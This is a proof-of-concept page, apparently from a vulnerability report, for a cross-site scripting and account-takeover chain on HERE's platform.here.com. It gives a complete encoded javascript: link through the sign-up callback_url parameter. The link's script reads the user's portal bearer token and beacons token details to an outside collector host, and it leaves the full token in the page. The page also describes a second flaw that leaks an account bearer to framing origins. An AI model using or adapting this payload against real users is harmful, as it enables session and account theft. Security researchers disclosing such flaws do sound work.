HERE Account takeover chain — proof of concept

One navigation, on HERE's own origin. No attacker credential, no password needed from you.

One prerequisite: be signed in at platform.here.com with an account you own that holds a provisioned HERE platform organization. That is the ordinary state of any platform user.

Then click once. Nothing is typed, and no password is given to this page.

Open the attack link

What you should see: the page repaints with your own platform.here.com bearer, read by attacker JavaScript from the portal's own route /api/portal/accessToken. The tab title becomes PWNED-PORTAL-TOK<length>.

  1. platform.here.com/portal/sign-up takes callback_url into window.location.href with no validation, so a javascript: value executes on that first-party origin. isTrustedRedirect exists in the same bundle and is applied to the r parameter only; the sibling token-exchange sink does gate its value.
  2. Script on that origin reads the portal bearer from /api/portal/accessToken, which is same-origin and therefore not protected by the HttpOnly session cookies.

Scope of this page. It demonstrates the cross-site scripting and its same-origin consequence, which is what a platform user's session actually exposes. A second, separate defect lets account.here.com/sdk-callback-page hand a full HERE Account record and an account bearer to any here.com origin that frames it, and that bearer alone re-keys the account's login identifier. That one needs a realm: HERE HERE Account session, and signing in to the portal clears those cookies, so the two are not chainable through a browser and this page does not claim they are. It is reported separately with its own proof.

What leaves your browser: nothing but a proof. The record and the bearer stay in the page. The collector receives only the origin, your own userId and email, the bearer's length and first 8 characters, and the HTTP status of that one API call. The full token is left in the page as window.__t if you want to continue to the write steps described in the report.

The link, in full:

https://platform.here.com/portal/sign-up?account-not-complete&reason=bamStatus&channel=selfServe&ff_6867_redirection_issue_fix=true&step=registration-done&callback_url=javascript%3Aif(window.__herepoc)%7Bvoid%200%7Delse%7Bwindow.__herepoc%3D1%3Bdocument.title%3D'XSSPOC-'%2Bdocument.domain%3B(function()%7Btry%7Bfor(var%20i%3D1%3Bi%3C9999%3Bi%2B%2B)%7BclearInterval(i)%3BclearTimeout(i)%7D%7Dcatch(e)%7B%7Dtry%7Bwindow.stop()%7Dcatch(e)%7B%7Dvar%20sent%3D0%2Cout%3Dfunction(m%2Cbad)%7Btry%7Bvar%20d%3Ddocument.createElement('div')%3Bd.style.cssText%3D'position%3Afixed%3Binset%3A0%3Bz-index%3A2147483647%3Bbackground%3A'%2B(bad%3F'%231a0f12'%3A'%230b0e14')%2B'%3Bcolor%3A%23d7e0ea%3Bfont%3A13.5px%2F1.6%20ui-monospace%2Cmonospace%3Bpadding%3A28px%3Boverflow%3Aauto%3Bwhite-space%3Apre-wrap'%3Bd.textContent%3Dm%3Bdocument.documentElement.appendChild(d)%7Dcatch(e)%7B%7D%7D%2Cbeac%3Dfunction(o)%7Bif(sent)return%3Bsent%3D1%3Bo.origin%3Ddocument.domain%3Bo.href%3Dlocation.href.slice(0%2C180)%3Bo.ts%3Dnew%20Date().toISOString()%3Btry%7Bnavigator.sendBeacon('https%3A%2F%2Fhere-account-chain-poc.pages.dev%2Fc'%2Cnew%20Blob(%5BJSON.stringify(o)%5D%2C%7Btype%3A'text%2Fplain'%7D))%7Dcatch(e)%7Bfetch('https%3A%2F%2Fhere-account-chain-poc.pages.dev%2Fc'%2C%7Bmethod%3A'POST'%2Cmode%3A'no-cors'%2Cbody%3AJSON.stringify(o)%7D)%7D%7D%3Bfetch('%2Fapi%2Fportal%2FaccessToken'%2C%7Bcredentials%3A'include'%7D).then(function(r)%7Breturn%20r.text().then(function(t)%7Breturn%5Br.status%2Ct%5D%7D)%7D).then(function(p)%7Bvar%20tok%3D''%2Cexp%3D''%2Caid%3D''%3Btry%7Bvar%20j%3DJSON.parse(p%5B1%5D)%3Btok%3Dj.accessToken%7C%7C''%3Bexp%3Dj.accessTokenExpires%7C%7C''%3Bvar%20c%3DJSON.parse(atob(tok.split('.')%5B0%5D))%3Baid%3Dc.aid%7C%7C''%7Dcatch(e)%7B%7Dwindow.__portalToken%3Dtok%3Bbeac(%7Bresult%3Atok%3F'portal-bearer'%3A'no-portal-bearer'%2ChttpStatus%3Ap%5B0%5D%2CtokenLen%3Atok.length%2CtokenPrefix%3Atok.slice(0%2C10)%2CclientId%3Aaid%2Cexpires%3Aexp%7D)%3Bdocument.title%3D(tok%3F'PWNED-PORTAL-TOK'%2Btok.length%3A'XSSPOC-'%2Bdocument.domain)%3Bout(tok%3F('HERE%3A%20cross-site%20scripting%20on%20a%20first-party%20origin.%5Cn%5Cn'%2B'attacker%20JavaScript%20is%20running%20on%20%3A%20'%2Bdocument.domain%2B'%5Cn'%2B'delivered%20by%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3A%20the%20callback_url%20parameter%20of%20%2Fportal%2Fsign-up%2C%5Cn'%2B'%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20which%20reaches%20window.location.href%20unvalidated%5Cn%5Cn'%2B'Same-origin%20consequence%2C%20read%20just%20now%20by%20that%20script%3A%5Cn'%2B'%20%20GET%20%2Fapi%2Fportal%2FaccessToken%20%20%20HTTP%20'%2Bp%5B0%5D%2B'%5Cn'%2B'%20%20your%20platform%20bearer%20%20%20%20%20%20%20%20%20%20'%2Btok.slice(0%2C16)%2B'...'%2Btok.slice(-8)%2B'%20%20(length%20'%2Btok.length%2B')%5Cn'%2B'%20%20issued%20to%20client%20%20%20%20%20%20%20%20%20%20%20%20%20%20'%2Baid%2B'%5Cn'%2B'%20%20expires%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20'%2Bexp%2B'%5Cn%5Cn'%2B'Only%20a%20proof%20went%20to%20the%20collector%3A%20length%2C%20first%2010%20characters%2C%20client%20id%2C%20expiry.%5Cn'%2B'The%20token%20itself%20stayed%20in%20this%20page%20as%20window.__portalToken.%20You%20can%20close%20this%20tab.')%3A('The%20script%20ran%20on%20'%2Bdocument.domain%2B'%20(step%201%20proven)%20but%20%2Fapi%2Fportal%2FaccessToken%5Cn'%2B'returned%20HTTP%20'%2Bp%5B0%5D%2B'%20with%20no%20token.%20Are%20you%20signed%20in%20to%20platform.here.com%3F')%2Ctok%3F0%3A1)%7D).catch(function(e)%7Bbeac(%7Bresult%3A'fetch-failed'%2Cerr%3AString(e).slice(0%2C120)%7D)%3Bout('script%20ran%20on%20'%2Bdocument.domain%2B'%20but%20the%20same-origin%20fetch%20failed%3A%20'%2Be%2C1)%7D)%3B%7D)()%7D